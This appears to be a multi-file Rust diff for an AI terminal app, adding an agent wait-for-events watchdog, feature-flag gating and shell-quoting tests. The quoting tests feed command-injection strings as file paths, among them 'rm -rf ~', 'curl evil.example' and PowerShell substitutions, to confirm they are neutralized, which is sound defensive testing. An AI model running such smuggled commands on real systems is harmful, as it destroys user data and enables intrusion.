@@ -124,6 +126,29 @@ fn test_shell_launch_data() -> ShellLaunchData {
|
||||
}
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn format_upload_artifact_error_preserves_full_error_chain() {
|
||||
let err = anyhow::anyhow!(
|
||||
"Artifact upload limit reached: this conversation already has the maximum allowed number of file artifacts (10). Remove an existing artifact or upload fewer files."
|
||||
)
|
||||
.context("Failed to create file artifact upload target");
|
||||
|
||||
assert_eq!(
|
||||
format_upload_artifact_error(&err),
|
||||
"Artifact upload failed: Failed to create file artifact upload target: Artifact upload limit reached: this conversation already has the maximum allowed number of file artifacts (10). Remove an existing artifact or upload fewer files."
|
||||
);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn format_upload_artifact_error_keeps_single_layer_errors() {
|
||||
let err = anyhow::anyhow!("Failed to open artifact file '/tmp/missing.txt'");
|
||||
|
||||
assert_eq!(
|
||||
format_upload_artifact_error(&err),
|
||||
"Failed to open artifact file '/tmp/missing.txt'"
|
||||
);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn should_autoexecute_honors_file_read_permissions_for_resolved_path() {
|
||||
let temp_dir = tempfile::tempdir().unwrap();
|
||||
@@ -140,7 +165,7 @@ fn should_autoexecute_honors_file_read_permissions_for_resolved_path() {
|
||||
let executor =
|
||||
app.add_model(|_| UploadArtifactExecutor::new(active_session, terminal_view_id));
|
||||
let conversation_id = history.update(&mut app, |history, ctx| {
|
||||
history.start_new_conversation(terminal_view_id, false, false, ctx)
|
||||
history.start_new_conversation(terminal_view_id, false, false, false, ctx)
|
||||
});
|
||||
let action = build_upload_artifact_action("reports/report.txt");
|
||||
|
||||
@@ -190,7 +215,7 @@ fn execute_returns_error_when_conversation_has_not_synced_to_server() {
|
||||
let executor =
|
||||
app.add_model(|_| UploadArtifactExecutor::new(active_session, terminal_view_id));
|
||||
let conversation_id = history.update(&mut app, |history, ctx| {
|
||||
history.start_new_conversation(terminal_view_id, false, false, ctx)
|
||||
history.start_new_conversation(terminal_view_id, false, false, false, ctx)
|
||||
});
|
||||
let action = build_upload_artifact_action(&artifact_path.display().to_string());
|
||||
|
||||
|
||||
@@ -1,10 +1,11 @@
|
||||
use ai::agent::action_result::AIAgentActionResultType;
|
||||
use futures::{future::BoxFuture, FutureExt};
|
||||
use futures::future::BoxFuture;
|
||||
use futures::FutureExt;
|
||||
use galaxyui::{Entity, ModelContext};
|
||||
|
||||
use crate::ai::agent::{AIAgentActionType, UseComputerResult};
|
||||
|
||||
use super::{ActionExecution, AnyActionExecution, ExecuteActionInput, PreprocessActionInput};
|
||||
use crate::ai::agent::{AIAgentActionType, UseComputerResult};
|
||||
use crate::features::FeatureFlag;
|
||||
|
||||
pub struct UseComputerExecutor;
|
||||
|
||||
@@ -42,11 +43,20 @@ impl UseComputerExecutor {
|
||||
|
||||
let actions = request.actions.clone();
|
||||
let screenshot_params = request.screenshot_params;
|
||||
// Gate per-window targeting behind the client feature flag. When off, the actor forces the
|
||||
// legacy full-screen path so results are identical to the pre-existing implementation.
|
||||
let background_enabled = FeatureFlag::BackgroundComputerUse.is_enabled();
|
||||
ActionExecution::new_async(
|
||||
async move {
|
||||
let mut actor = computer_use::create_actor();
|
||||
match actor
|
||||
.perform_actions(&actions, computer_use::Options { screenshot_params })
|
||||
.perform_actions(
|
||||
&actions,
|
||||
computer_use::Options {
|
||||
screenshot_params,
|
||||
background_enabled,
|
||||
},
|
||||
)
|
||||
.await
|
||||
{
|
||||
Ok(result) => UseComputerResult::Success(result),
|
||||
|
||||
@@ -0,0 +1,263 @@
|
||||
//! Executor for `AIAgentActionType::WaitForEvents`.
|
||||
//!
|
||||
//! Schedules a watchdog timer so that the wait completes with `Completed`
|
||||
//! if no events arrive within the idle window.
|
||||
|
||||
use std::collections::HashMap;
|
||||
use std::time::Duration;
|
||||
|
||||
use futures::future::BoxFuture;
|
||||
use futures::FutureExt;
|
||||
use warpui::r#async::SpawnedFutureHandle;
|
||||
use warpui::{Entity, EntityId, ModelContext, SingletonEntity};
|
||||
|
||||
use super::{ActionExecution, AnyActionExecution, ExecuteActionInput, PreprocessActionInput};
|
||||
use crate::ai::agent::conversation::{AIConversationId, ConversationStatus};
|
||||
use crate::ai::agent::{AIAgentActionResultType, AIAgentActionType, WaitForEventsResult};
|
||||
use crate::ai::blocklist::orchestration_event_streamer::OrchestrationEventStreamer;
|
||||
use crate::ai::blocklist::BlocklistAIHistoryModel;
|
||||
|
||||
/// Fallback when `idle_timeout_seconds` is unset (0). Matches the worker
|
||||
/// VM idle ceiling.
|
||||
pub(crate) const DEFAULT_ORCHESTRATED_IDLE_TIMEOUT_SECONDS: i32 = 30 * 60;
|
||||
|
||||
/// Subtracted from the server-supplied timeout so the client closes the
|
||||
/// wait before the worker idle-shutdown.
|
||||
pub(crate) const CLIENT_WATCHDOG_SAFETY_MARGIN: Duration = Duration::from_secs(30);
|
||||
|
||||
/// Lower bound after the safety-margin subtraction; keeps tiny stamped
|
||||
/// values from clamping to 0.
|
||||
pub(crate) const HARD_FLOOR: Duration = Duration::from_secs(5);
|
||||
|
||||
/// Apply the safety margin and hard floor. Non-positive input falls back
|
||||
/// to the default.
|
||||
pub(crate) fn watchdog_timeout_for_stamped_seconds(stamped_seconds: i32) -> Duration {
|
||||
let seconds = if stamped_seconds <= 0 {
|
||||
DEFAULT_ORCHESTRATED_IDLE_TIMEOUT_SECONDS
|
||||
} else {
|
||||
stamped_seconds
|
||||
};
|
||||
let stamped = Duration::from_secs(seconds as u64);
|
||||
stamped
|
||||
.checked_sub(CLIENT_WATCHDOG_SAFETY_MARGIN)
|
||||
.filter(|d| *d >= HARD_FLOOR)
|
||||
.unwrap_or(HARD_FLOOR)
|
||||
}
|
||||
|
||||
/// Currently-in-flight WaitForEvents action state.
|
||||
struct PendingWait {
|
||||
tool_call_id: String,
|
||||
sender: async_channel::Sender<WaitForEventsResult>,
|
||||
/// Handle to the watchdog timer. Aborted on cancel so the future
|
||||
/// doesn't survive up to ~30 minutes past supersede.
|
||||
watchdog_handle: SpawnedFutureHandle,
|
||||
}
|
||||
|
||||
pub struct WaitForEventsExecutor {
|
||||
terminal_view_id: EntityId,
|
||||
/// Bumped on each fresh execute(); stale watchdog closures no-op when
|
||||
/// they fire.
|
||||
conversation_generation: HashMap<AIConversationId, usize>,
|
||||
pending: HashMap<AIConversationId, PendingWait>,
|
||||
}
|
||||
|
||||
impl WaitForEventsExecutor {
|
||||
pub fn new(terminal_view_id: EntityId, _ctx: &mut ModelContext<Self>) -> Self {
|
||||
Self {
|
||||
terminal_view_id,
|
||||
conversation_generation: HashMap::new(),
|
||||
pending: HashMap::new(),
|
||||
}
|
||||
}
|
||||
|
||||
pub(super) fn should_autoexecute(
|
||||
&self,
|
||||
_input: ExecuteActionInput,
|
||||
_ctx: &mut ModelContext<Self>,
|
||||
) -> bool {
|
||||
// Synthesized from a server-emitted tool call; no confirmation.
|
||||
true
|
||||
}
|
||||
|
||||
pub(super) fn preprocess_action(
|
||||
&mut self,
|
||||
_action: PreprocessActionInput,
|
||||
_ctx: &mut ModelContext<Self>,
|
||||
) -> BoxFuture<'static, ()> {
|
||||
futures::future::ready(()).boxed()
|
||||
}
|
||||
|
||||
pub(super) fn execute(
|
||||
&mut self,
|
||||
input: ExecuteActionInput,
|
||||
ctx: &mut ModelContext<Self>,
|
||||
) -> impl Into<AnyActionExecution> {
|
||||
let AIAgentActionType::WaitForEvents {
|
||||
tool_call_id,
|
||||
idle_timeout_seconds,
|
||||
} = &input.action.action
|
||||
else {
|
||||
return ActionExecution::InvalidAction;
|
||||
};
|
||||
|
||||
let tool_call_id = tool_call_id.clone();
|
||||
let conversation_id = input.conversation_id;
|
||||
let timeout = watchdog_timeout_for_stamped_seconds(*idle_timeout_seconds);
|
||||
|
||||
// Blocking on descendants is the trigger to confirm parent status
|
||||
// against the server and register for the owner-side ancestor stream,
|
||||
// so children created out-of-band (Oz CLI / web API) are delivered.
|
||||
OrchestrationEventStreamer::handle(ctx).update(ctx, |streamer, ctx| {
|
||||
streamer.register_parent_on_wait(conversation_id, ctx);
|
||||
});
|
||||
|
||||
// Bump the counter so any prior watchdog closure observes a
|
||||
// stale generation.
|
||||
let generation = self
|
||||
.conversation_generation
|
||||
.entry(conversation_id)
|
||||
.or_insert(0);
|
||||
*generation += 1;
|
||||
let expected_generation = *generation;
|
||||
|
||||
// Schedule the watchdog first so we can store its handle in the
|
||||
// pending entry. The closure no-ops on a stale generation.
|
||||
let watchdog_tool_call_id = tool_call_id.clone();
|
||||
let watchdog_handle = ctx.spawn(
|
||||
async move {
|
||||
warpui::r#async::Timer::after(timeout).await;
|
||||
},
|
||||
move |me, (), ctx| {
|
||||
me.fire_watchdog_if_current(
|
||||
conversation_id,
|
||||
&watchdog_tool_call_id,
|
||||
expected_generation,
|
||||
ctx,
|
||||
);
|
||||
},
|
||||
);
|
||||
|
||||
// Replace any prior pending entry. Dropping the prior sender wakes
|
||||
// its receiver with Err and the prior watchdog is aborted so it
|
||||
// can't fire after the new wait starts.
|
||||
let (sender, receiver) = async_channel::bounded(1);
|
||||
if let Some(prev) = self.pending.insert(
|
||||
conversation_id,
|
||||
PendingWait {
|
||||
tool_call_id: tool_call_id.clone(),
|
||||
sender,
|
||||
watchdog_handle,
|
||||
},
|
||||
) {
|
||||
prev.watchdog_handle.abort();
|
||||
drop(prev.sender);
|
||||
}
|
||||
|
||||
// Flip the conversation into WaitingForEvents before returning so
|
||||
// downstream subscribers see the yield immediately.
|
||||
let terminal_view_id = self.terminal_view_id;
|
||||
BlocklistAIHistoryModel::handle(ctx).update(ctx, move |history_model, ctx| {
|
||||
history_model.update_conversation_status(
|
||||
terminal_view_id,
|
||||
conversation_id,
|
||||
ConversationStatus::WaitingForEvents,
|
||||
ctx,
|
||||
);
|
||||
});
|
||||
|
||||
ActionExecution::new_async(async move { receiver.recv().await }, move |result, _ctx| {
|
||||
let wait_result = match result {
|
||||
Ok(result) => result,
|
||||
// Sender dropped via external cancellation (e.g. resume
|
||||
// injection, user query). The action_model removed this
|
||||
// action from `async_executing_actions` before dropping
|
||||
// the sender, so the spawn callback that wraps this
|
||||
// closure will suppress the result. The value here is
|
||||
// unobservable in that path; pick `Completed` defensively.
|
||||
Err(_) => WaitForEventsResult::Completed,
|
||||
};
|
||||
AIAgentActionResultType::WaitForEvents(wait_result)
|
||||
})
|
||||
}
|
||||
|
||||
/// Drop the in-flight wait so a later watchdog fire is a no-op.
|
||||
/// Caller (`BlocklistAIActionExecutor::cancel_running_async_action`)
|
||||
/// has already removed the action from `async_executing_actions`, so
|
||||
/// the spawn callback will silently discard the result that surfaces
|
||||
/// from the dropped sender.
|
||||
pub(crate) fn cancel_execution(&mut self, tool_call_id: &str) {
|
||||
let Some(conversation_id) = self
|
||||
.pending
|
||||
.iter()
|
||||
.find(|(_, pending)| pending.tool_call_id == tool_call_id)
|
||||
.map(|(id, _)| *id)
|
||||
else {
|
||||
return;
|
||||
};
|
||||
let Some(pending) = self.pending.remove(&conversation_id) else {
|
||||
return;
|
||||
};
|
||||
if let Some(gen) = self.conversation_generation.get_mut(&conversation_id) {
|
||||
*gen += 1;
|
||||
}
|
||||
pending.watchdog_handle.abort();
|
||||
drop(pending.sender);
|
||||
}
|
||||
|
||||
fn fire_watchdog_if_current(
|
||||
&mut self,
|
||||
conversation_id: AIConversationId,
|
||||
tool_call_id: &str,
|
||||
expected_generation: usize,
|
||||
ctx: &mut ModelContext<Self>,
|
||||
) {
|
||||
if self
|
||||
.conversation_generation
|
||||
.get(&conversation_id)
|
||||
.copied()
|
||||
.unwrap_or(0)
|
||||
!= expected_generation
|
||||
{
|
||||
return;
|
||||
}
|
||||
let Some(pending) = self.pending.get(&conversation_id) else {
|
||||
return;
|
||||
};
|
||||
if pending.tool_call_id != tool_call_id {
|
||||
return;
|
||||
}
|
||||
// Defensive: only fire if the conversation is still waiting. If
|
||||
// some other path transitioned the conversation out of
|
||||
// `WaitingForEvents` without going through `cancel_execution`,
|
||||
// sending `Completed` now would inject a stale tool-call result
|
||||
// into a conversation the server has long since moved past.
|
||||
let still_waiting = BlocklistAIHistoryModel::as_ref(ctx)
|
||||
.conversation(&conversation_id)
|
||||
.is_some_and(|c| matches!(c.status(), ConversationStatus::WaitingForEvents));
|
||||
if !still_waiting {
|
||||
log::info!(
|
||||
"WaitForEventsExecutor: watchdog stale (conversation no longer waiting); \
|
||||
dropping pending entry conversation_id={conversation_id:?} \
|
||||
tool_call_id={tool_call_id}"
|
||||
);
|
||||
self.pending.remove(&conversation_id);
|
||||
return;
|
||||
}
|
||||
let Some(pending) = self.pending.remove(&conversation_id) else {
|
||||
return;
|
||||
};
|
||||
log::info!(
|
||||
"WaitForEventsExecutor: watchdog fired conversation_id={conversation_id:?} \
|
||||
tool_call_id={tool_call_id}"
|
||||
);
|
||||
let _ = pending.sender.try_send(WaitForEventsResult::Completed);
|
||||
}
|
||||
}
|
||||
|
||||
impl Entity for WaitForEventsExecutor {
|
||||
type Event = ();
|
||||
}
|
||||
|
||||
#[cfg(test)]
|
||||
#[path = "wait_for_events_tests.rs"]
|
||||
mod tests;
|
||||
@@ -0,0 +1,163 @@
|
||||
//! Unit tests for the pure helpers in `wait_for_events`, plus an App-based
|
||||
//! test of the executor's parent-registration wiring.
|
||||
|
||||
use std::sync::Arc;
|
||||
use std::time::Duration;
|
||||
|
||||
use galaxy_core::features::FeatureFlag;
|
||||
use warpui::{App, EntityId};
|
||||
|
||||
use super::{
|
||||
watchdog_timeout_for_stamped_seconds, AnyActionExecution, ExecuteActionInput,
|
||||
WaitForEventsExecutor, CLIENT_WATCHDOG_SAFETY_MARGIN,
|
||||
DEFAULT_ORCHESTRATED_IDLE_TIMEOUT_SECONDS, HARD_FLOOR,
|
||||
};
|
||||
use crate::ai::agent::conversation::{AIConversation, ConversationStatus};
|
||||
use crate::ai::agent::task::TaskId;
|
||||
use crate::ai::agent::{AIAgentAction, AIAgentActionId, AIAgentActionType};
|
||||
use crate::ai::blocklist::orchestration_event_streamer::OrchestrationEventStreamer;
|
||||
use crate::ai::blocklist::BlocklistAIHistoryModel;
|
||||
use crate::server::server_api::ai::{AIClient, MockAIClient};
|
||||
use crate::server::server_api::ServerApiProvider;
|
||||
|
||||
#[test]
|
||||
fn watchdog_timeout_constants_match_documented_values() {
|
||||
// The behavioural tests below assert the contract; this trips if
|
||||
// someone moves a constant without updating the documented intent.
|
||||
assert_eq!(DEFAULT_ORCHESTRATED_IDLE_TIMEOUT_SECONDS, 30 * 60);
|
||||
assert_eq!(CLIENT_WATCHDOG_SAFETY_MARGIN, Duration::from_secs(30));
|
||||
assert_eq!(HARD_FLOOR, Duration::from_secs(5));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn watchdog_timeout_subtracts_margin_for_stamped_minute() {
|
||||
// A 60s stamped timeout has 30s of headroom after subtracting the
|
||||
// safety margin — that's the canonical "happy path" the safety
|
||||
// margin is designed for.
|
||||
assert_eq!(
|
||||
watchdog_timeout_for_stamped_seconds(60),
|
||||
Duration::from_secs(30)
|
||||
);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn watchdog_timeout_clamps_to_hard_floor_when_stamped_value_is_too_small() {
|
||||
// A 10s stamped timeout would become negative after subtracting the
|
||||
// 30s safety margin — the hard floor kicks in so the watchdog still
|
||||
// fires after a finite delay.
|
||||
assert_eq!(
|
||||
watchdog_timeout_for_stamped_seconds(10),
|
||||
HARD_FLOOR,
|
||||
"stamped 10s should clamp to HARD_FLOOR after subtracting the safety margin"
|
||||
);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn watchdog_timeout_falls_back_to_default_minus_margin_when_unset() {
|
||||
// Prost flattens scalars, so the proto's "unset" looks like `0` on
|
||||
// the Rust side; treat that as "use the default minus margin".
|
||||
let expected = Duration::from_secs(DEFAULT_ORCHESTRATED_IDLE_TIMEOUT_SECONDS as u64)
|
||||
- CLIENT_WATCHDOG_SAFETY_MARGIN;
|
||||
assert_eq!(watchdog_timeout_for_stamped_seconds(0), expected);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn watchdog_timeout_clamps_negative_value_to_default_minus_margin() {
|
||||
// Defense against a buggy or malicious payload. `Duration::from_secs`
|
||||
// takes a `u64`; a negative value would underflow without the clamp.
|
||||
let expected = Duration::from_secs(DEFAULT_ORCHESTRATED_IDLE_TIMEOUT_SECONDS as u64)
|
||||
- CLIENT_WATCHDOG_SAFETY_MARGIN;
|
||||
assert_eq!(watchdog_timeout_for_stamped_seconds(-42), expected);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn watchdog_timeout_preserves_large_stamped_value() {
|
||||
// Server-supplied values well above the margin pass through as
|
||||
// (stamped - margin). 15 minutes stays at 14m30s after the
|
||||
// subtraction.
|
||||
assert_eq!(
|
||||
watchdog_timeout_for_stamped_seconds(900),
|
||||
Duration::from_secs(900) - CLIENT_WATCHDOG_SAFETY_MARGIN
|
||||
);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn execute_invokes_parent_registration_and_honors_child_short_circuit() {
|
||||
// `execute()` must route into the orchestration streamer behind the flag.
|
||||
// For a child conversation (has_parent_agent), the streamer short-circuits
|
||||
// without a server fetch (asserted via the mock's times(0) expectation),
|
||||
// and the wait still flips the conversation into WaitingForEvents.
|
||||
App::test((), |mut app| async move {
|
||||
let _flag_guard = FeatureFlag::WaitForEventsParentRegistration.override_enabled(true);
|
||||
|
||||
let terminal_view_id = EntityId::new();
|
||||
let history_model = app.add_singleton_model(|_| BlocklistAIHistoryModel::new(vec![], &[]));
|
||||
|
||||
// A streamer whose server fetch must never be called: the child
|
||||
// short-circuit precedes any `get_ambient_agent_task` call.
|
||||
let mut mock = MockAIClient::new();
|
||||
mock.expect_get_ambient_agent_task().times(0);
|
||||
let ai_client: Arc<dyn AIClient> = Arc::new(mock);
|
||||
let server_api = ServerApiProvider::new_for_test().get();
|
||||
// Held for the lifetime of the test so the mock's times(0) expectation
|
||||
// is verified on drop; resolved internally by `execute()` via
|
||||
// `OrchestrationEventStreamer::handle`.
|
||||
let _streamer = app.add_singleton_model(|ctx| {
|
||||
OrchestrationEventStreamer::new_with_clients_for_test(ai_client, server_api, ctx)
|
||||
});
|
||||
|
||||
let executor = app.add_model(|ctx| WaitForEventsExecutor::new(terminal_view_id, ctx));
|
||||
|
||||
// Child conversation: own run_id plus a parent_agent_id.
|
||||
let mut conversation = AIConversation::new(false, false);
|
||||
conversation.set_run_id("550e8400-e29b-41d4-a716-446655440530".to_string());
|
||||
conversation.set_parent_agent_id("550e8400-e29b-41d4-a716-4466554405fc".to_string());
|
||||
let conversation_id = conversation.id();
|
||||
history_model.update(&mut app, |model, ctx| {
|
||||
model.restore_conversations(terminal_view_id, vec![conversation], ctx);
|
||||
model.update_conversation_status(
|
||||
terminal_view_id,
|
||||
conversation_id,
|
||||
ConversationStatus::InProgress,
|
||||
ctx,
|
||||
);
|
||||
});
|
||||
|
||||
let action = AIAgentAction {
|
||||
id: AIAgentActionId::from("wait-action".to_string()),
|
||||
action: AIAgentActionType::WaitForEvents {
|
||||
tool_call_id: "tool-call-1".to_string(),
|
||||
idle_timeout_seconds: 600,
|
||||
},
|
||||
task_id: TaskId::new("wait-task".to_string()),
|
||||
requires_result: false,
|
||||
};
|
||||
|
||||
let execution = executor.update(&mut app, |executor, ctx| {
|
||||
let input = ExecuteActionInput {
|
||||
action: &action,
|
||||
conversation_id,
|
||||
};
|
||||
let result: AnyActionExecution = executor.execute(input, ctx).into();
|
||||
result
|
||||
});
|
||||
assert!(
|
||||
matches!(execution, AnyActionExecution::Async { .. }),
|
||||
"WaitForEvents should yield an async execution"
|
||||
);
|
||||
|
||||
history_model.read(&app, |model, _| {
|
||||
assert!(
|
||||
matches!(
|
||||
model.conversation(&conversation_id).map(|c| c.status()),
|
||||
Some(ConversationStatus::WaitingForEvents)
|
||||
),
|
||||
"execute() must flip the conversation into WaitingForEvents"
|
||||
);
|
||||
});
|
||||
// The child short-circuit is asserted by the mock's times(0)
|
||||
// expectation, verified when `_streamer` drops at test teardown:
|
||||
// a child conversation must never trigger a `get_ambient_agent_task`
|
||||
// fetch.
|
||||
});
|
||||
}
|
||||
@@ -97,3 +97,100 @@ mod binary_detection {
|
||||
assert!(block_on(is_file_content_binary_async(&missing)));
|
||||
}
|
||||
}
|
||||
|
||||
mod path_shell_quoting {
|
||||
use super::super::{build_is_file_path_command, build_is_git_repository_command};
|
||||
use crate::terminal::shell::ShellType;
|
||||
|
||||
#[test]
|
||||
fn is_file_path_quotes_posix_path_as_single_argument() {
|
||||
let command = build_is_file_path_command("/tmp/repo path/file.rs", ShellType::Bash);
|
||||
|
||||
assert_eq!(command, "test -f '/tmp/repo path/file.rs'");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn is_file_path_neutralizes_posix_substitutions() {
|
||||
let command =
|
||||
build_is_file_path_command("/tmp/x$(touch /tmp/warp-poc)`id`", ShellType::Bash);
|
||||
|
||||
assert_eq!(command, "test -f '/tmp/x$(touch /tmp/warp-poc)`id`'");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn is_file_path_neutralizes_embedded_quote_posix() {
|
||||
let command = build_is_file_path_command("/tmp/foo'; rm -rf ~; echo '", ShellType::Bash);
|
||||
|
||||
assert_eq!(command, r#"test -f '/tmp/foo'"'"'; rm -rf ~; echo '"'"''"#);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn is_file_path_quotes_powershell_path_as_single_argument() {
|
||||
let command =
|
||||
build_is_file_path_command(r#"C:\Users\me\file path.rs"#, ShellType::PowerShell);
|
||||
|
||||
assert_eq!(
|
||||
command,
|
||||
r#"if (Test-Path -PathType Leaf 'C:\Users\me\file path.rs') { exit 0 } else { exit 1 }"#
|
||||
);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn is_file_path_neutralizes_powershell_substitutions() {
|
||||
let command = build_is_file_path_command(
|
||||
r#"C:\tmp\x$(New-Item C:\poc)$env:USERPROFILE"#,
|
||||
ShellType::PowerShell,
|
||||
);
|
||||
|
||||
assert_eq!(
|
||||
command,
|
||||
r#"if (Test-Path -PathType Leaf 'C:\tmp\x$(New-Item C:\poc)$env:USERPROFILE') { exit 0 } else { exit 1 }"#
|
||||
);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn is_file_path_neutralizes_fish_embedded_quote() {
|
||||
let command = build_is_file_path_command("/tmp/owner's file", ShellType::Fish);
|
||||
|
||||
assert_eq!(command, r"test -f '/tmp/owner\'s file'");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn is_git_repository_quotes_posix_path_as_single_argument() {
|
||||
let command = build_is_git_repository_command("/tmp/repo path", ShellType::Zsh);
|
||||
|
||||
assert_eq!(command, "git -C '/tmp/repo path' rev-parse");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn is_git_repository_neutralizes_posix_substitutions() {
|
||||
let command =
|
||||
build_is_git_repository_command("/tmp/x$(curl evil.example)`id`", ShellType::Bash);
|
||||
|
||||
assert_eq!(command, "git -C '/tmp/x$(curl evil.example)`id`' rev-parse");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn is_git_repository_neutralizes_embedded_quote_posix() {
|
||||
let command =
|
||||
build_is_git_repository_command("/tmp/foo'; rm -rf ~; echo '", ShellType::Bash);
|
||||
|
||||
assert_eq!(
|
||||
command,
|
||||
r#"git -C '/tmp/foo'"'"'; rm -rf ~; echo '"'"'' rev-parse"#
|
||||
);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn is_git_repository_neutralizes_powershell_substitutions() {
|
||||
let command = build_is_git_repository_command(
|
||||
r#"C:\repo$(New-Item C:\poc)$env:USERPROFILE"#,
|
||||
ShellType::PowerShell,
|
||||
);
|
||||
|
||||
assert_eq!(
|
||||
command,
|
||||
r#"git -C 'C:\repo$(New-Item C:\poc)$env:USERPROFILE' rev-parse"#
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1,7 +1,9 @@
|
||||
use super::*;
|
||||
use crate::ai::agent::{task::TaskId, AIAgentAction, AIAgentActionId, AIAgentActionType};
|
||||
use std::collections::HashSet;
|
||||
|
||||
use super::*;
|
||||
use crate::ai::agent::task::TaskId;
|
||||
use crate::ai::agent::{AIAgentAction, AIAgentActionId, AIAgentActionType};
|
||||
|
||||
fn create_test_action(id: AIAgentActionId) -> AIAgentAction {
|
||||
AIAgentAction {
|
||||
id,
|
||||
|
||||
@@ -1,7 +1,9 @@
|
||||
use std::{collections::HashMap, sync::Arc};
|
||||
use std::collections::HashMap;
|
||||
use std::sync::Arc;
|
||||
|
||||
use super::*;
|
||||
use crate::ai::agent::{task::TaskId, AIAgentActionResultType};
|
||||
use crate::ai::agent::task::TaskId;
|
||||
use crate::ai::agent::AIAgentActionResultType;
|
||||
|
||||
fn make_action_result(id: &str) -> Arc<AIAgentActionResult> {
|
||||
Arc::new(AIAgentActionResult {
|
||||
|
||||
@@ -1,12 +1,9 @@
|
||||
use crate::context_chips::{
|
||||
display_chip::{DisplayChip, GitLineChanges, PromptDisplayChipEvent},
|
||||
git_line_changes_from_chips,
|
||||
prompt_type::PromptType,
|
||||
ChipResult,
|
||||
};
|
||||
use galaxyui::{ModelHandle, ViewContext, ViewHandle};
|
||||
|
||||
use super::{AgentInputFooter, AgentInputFooterEvent};
|
||||
use crate::context_chips::display_chip::{DisplayChip, GitLineChanges, PromptDisplayChipEvent};
|
||||
use crate::context_chips::prompt_type::PromptType;
|
||||
use crate::context_chips::{git_line_changes_from_chips, ChipResult};
|
||||
|
||||
impl AgentInputFooter {
|
||||
/// Returns `true` if `DisplayChip`s should be recreated based on updated metadata values.
|
||||
@@ -22,14 +19,9 @@ impl AgentInputFooter {
|
||||
|| new_chips.iter().enumerate().any(|(i, chip_result)| {
|
||||
let existing_chip = &existing_chips[i];
|
||||
existing_chip.read(ctx, |chip, _| {
|
||||
chip.text()
|
||||
!= chip_result
|
||||
.value()
|
||||
.map(|v| v.to_string())
|
||||
.unwrap_or_default()
|
||||
chip.value() != chip_result.value()
|
||||
|| chip.chip_kind() != chip_result.kind()
|
||||
// For parity with PromptDisplay: compare the first on-click value only.
|
||||
|| chip.first_on_click_value() != chip_result.on_click_values().first()
|
||||
|| chip.on_click_values() != chip_result.on_click_values()
|
||||
})
|
||||
})
|
||||
}
|
||||
|
||||
@@ -3,25 +3,22 @@
|
||||
//! Uses the shared [`ChipConfigurator`] with `LeftRightZones` layout to let users
|
||||
//! drag/drop chips between left, right, and unused banks.
|
||||
|
||||
use settings::Setting as _;
|
||||
use galaxyui::keymap::FixedBinding;
|
||||
|
||||
use galaxyui::{AppContext, Element, Entity, SingletonEntity, TypedActionView, View, ViewContext};
|
||||
|
||||
use super::toolbar_item::AgentToolbarItemKind;
|
||||
use crate::appearance::AppearanceEvent;
|
||||
use crate::chip_configurator::{
|
||||
render_chip_editor_modal, render_chip_editor_sections, ChipConfigurator,
|
||||
ChipConfiguratorAction, ChipConfiguratorLayout, ChipEditorModalConfig, ChipEditorMouseHandles,
|
||||
ChipEditorSectionsConfig,
|
||||
};
|
||||
use crate::report_if_error;
|
||||
use crate::terminal::session_settings::{
|
||||
AgentToolbarChipSelection, CLIAgentToolbarChipSelection, SessionSettings,
|
||||
SessionSettingsChangedEvent, ToolbarChipSelection,
|
||||
};
|
||||
use crate::Appearance;
|
||||
|
||||
use settings::Setting as _;
|
||||
|
||||
use super::toolbar_item::AgentToolbarItemKind;
|
||||
use crate::{report_if_error, Appearance};
|
||||
|
||||
const AGENT_MODAL_TITLE: &str = "Edit agent toolbelt";
|
||||
const CLI_MODAL_TITLE: &str = "Edit CLI agent toolbelt";
|
||||
@@ -93,6 +90,25 @@ fn open_toolbar_items_from_settings<V: View>(
|
||||
)
|
||||
}
|
||||
};
|
||||
|
||||
// Filter out items that are unavailable due to runtime state (user settings,
|
||||
// workspace config, etc.) on top of the feature-flag checks in all_available().
|
||||
let available: Vec<AgentToolbarItemKind> = available
|
||||
.into_iter()
|
||||
.filter(|item| item.is_available(ctx))
|
||||
.collect();
|
||||
|
||||
// Drop saved items that are no longer available (e.g. their feature flag was disabled
|
||||
// or a setting was turned off).
|
||||
let filter_unavailable = |items: Vec<AgentToolbarItemKind>| -> Vec<AgentToolbarItemKind> {
|
||||
items
|
||||
.into_iter()
|
||||
.filter(|item| available.contains(item))
|
||||
.collect()
|
||||
};
|
||||
let current_left = filter_unavailable(current_left);
|
||||
let current_right = filter_unavailable(current_right);
|
||||
|
||||
chip_configurator.open_left_right_zones_with_items(
|
||||
current_left,
|
||||
current_right,
|
||||
@@ -108,6 +124,15 @@ fn open_default_toolbar_items<V: View>(
|
||||
) {
|
||||
let appearance = Appearance::as_ref(ctx);
|
||||
let (left, right, available) = AgentToolbarItemKind::defaults_for_mode(mode);
|
||||
let filter_runtime = |items: Vec<AgentToolbarItemKind>| -> Vec<AgentToolbarItemKind> {
|
||||
items
|
||||
.into_iter()
|
||||
.filter(|item| item.is_available(ctx))
|
||||
.collect()
|
||||
};
|
||||
let left = filter_runtime(left);
|
||||
let right = filter_runtime(right);
|
||||
let available = filter_runtime(available);
|
||||
chip_configurator.open_left_right_zones_with_items(left, right, available, appearance);
|
||||
}
|
||||
|
||||
@@ -156,6 +181,19 @@ impl AgentToolbarInlineEditor {
|
||||
}
|
||||
});
|
||||
|
||||
// Chip colors are derived from the theme, so rebuild the chips from
|
||||
// settings when the theme changes to keep an open editor readable after a
|
||||
// theme switch (this inline editor persists its arrangement on every
|
||||
// edit, so reloading preserves the user's layout).
|
||||
ctx.subscribe_to_model(&Appearance::handle(ctx), |me, _, event, ctx| {
|
||||
if matches!(event, AppearanceEvent::ThemeChanged)
|
||||
